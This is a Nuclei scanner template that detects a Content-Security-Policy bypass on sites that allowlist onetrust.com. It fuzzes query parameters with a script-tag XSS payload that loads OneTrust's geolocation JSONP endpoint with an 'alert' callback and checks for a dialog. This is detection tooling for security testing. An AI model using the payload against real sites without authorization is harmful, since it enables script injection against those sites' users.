id: onetrust-geolocation-csp-bypass

info:
  name: Content-Security-Policy Bypass - OneTrust Geolocation
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,onetrust-geolocation,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "onetrust.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: onetrust_geolocation_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location/alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "onetrust_geolocation_csp_xss == true"
# digest: 490a004630440220667c71bdbf93287084ab6172a2b712b219bc2a6db855a7d9f419af54c78ccdae02206b8e13b202d9d25eacb99bcada0017a9cff82738821559fcae2d2421476f0c16:922c64590222798bb761d5b6d8e72950